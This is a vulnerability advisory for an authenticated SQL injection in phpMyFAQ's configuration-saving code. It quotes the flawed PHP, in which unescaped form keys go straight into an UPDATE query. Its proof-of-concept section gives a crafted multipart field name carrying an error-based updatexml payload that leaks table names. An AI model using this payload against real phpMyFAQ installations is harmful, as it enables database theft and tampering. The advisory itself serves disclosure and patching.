CVE-2025-62519

phpMyFAQ has Authenticated SQL Injection in Configuration Update Functionality

Summary

An authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ (v4.0.13 and prior) allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration.

Details

The vulnerability exists in the save method within the src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php controller. This method handles the saving of application-wide configuration settings. It retrieves all submitted form data as an associative array via $request->get('edit').

The core of the issue is that while the values of this array are processed, the keys are trusted implicitly and are not sanitized or validated.

File: src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php

// ...
public function save(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::CONFIGURATION_EDIT);

    $configurationData = $request->get('edit');
    // ...
    
    foreach ($configurationData as $key => $value) {
        // The key from the user input is used to build the $newConfigValues array.
        $newConfigValues[$key] = (string) $value;
        // ...
    }

    // ...
    // The array, containing user-controlled keys, is passed to the model.
    $this->configuration->update($newConfigValues);

    return $this->json(['success' => Translation::get('ad_config_saved')], Response::HTTP_OK);
}

The $newConfigValues array, which contains user-controlled keys, is then passed to the update method in the src/phpMyFAQ/Configuration.php model. Here, the key ($name) is directly concatenated into a raw SQL query string.

File: src/phpMyFAQ/Configuration.php

public function update(array $newConfigs): bool
{
    // ...
    foreach ($newConfigs as $name => $value) {
        if ($name != 'main.phpMyFAQToken' && !in_array($name, $runtimeConfigs)) {
            // VULNERABLE CODE: The array key '$name' is not escaped and is directly
            // concatenated into the SQL query string. The value is escaped, but not the name.
            $update = sprintf(
                "UPDATE %s%s SET config_value = '%s' WHERE config_name = '%s'",
                Database::getTablePrefix(),
                $this->tableName,
                $this->getDb()->escape(trim($value)),
                $name
            );

            $this->getDb()->query($update);
            // ...
        }
    }

    return true;
}

An attacker can craft a malicious form parameter name (which becomes the array key) to break out of the single quotes in the WHERE clause and inject arbitrary SQL commands.

PoC (Proof of Concept)

Prerequisites:

1. A running instance of phpMyFAQ (v4.0.13 confirmed vulnerable).
2. An authenticated user session with permissions to edit the configuration.

Execution:
Due to the application's CSRF protection, the easiest way to reproduce this is by capturing a legitimate request to save the configuration and modifying it using a proxy tool like Burp Suite's Repeater.

1. Log in as an administrator and navigate to Administration -> Configuration.
2. Make a trivial change (e.g., toggle a setting) and click "Save configuration". Capture this POST request to /admin/api/configuration.
3. Send the captured request to Repeater. The request will contain a valid Cookie header and a pmf-csrf-token parameter.
4. Modify the request body to inject a malicious key. Add a new multipart/form-data part with a crafted name attribute.

Example Malicious Request Body Part (Error-Based):

------WebKitFormBoundaryRandomString
Content-Disposition: form-data; name="edit[dummykey' and updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0, 1), 0x7e), 1) and '1]"

true
------WebKitFormBoundaryRandomString

Note: You must also include the pmf-csrf-token part from the original request in the body.

Result:
The server will respond with a 500 Internal Server Error, and the body of the response will contain a database error message, confirming the SQL injection. The leaked data will be present within the error string.

An error occurred: XPATH syntax error: '~faq_faqadminlog~' at line 311 at /var/www/html/src/phpMyFAQ/Database/Mysqli.php

This error confirms the successful execution of the injected updatexml payload, which has extracted and revealed the name of the first table in the database (faq_faqadminlog). Time-based blind techniques can also be used to extract data without relying on error messages.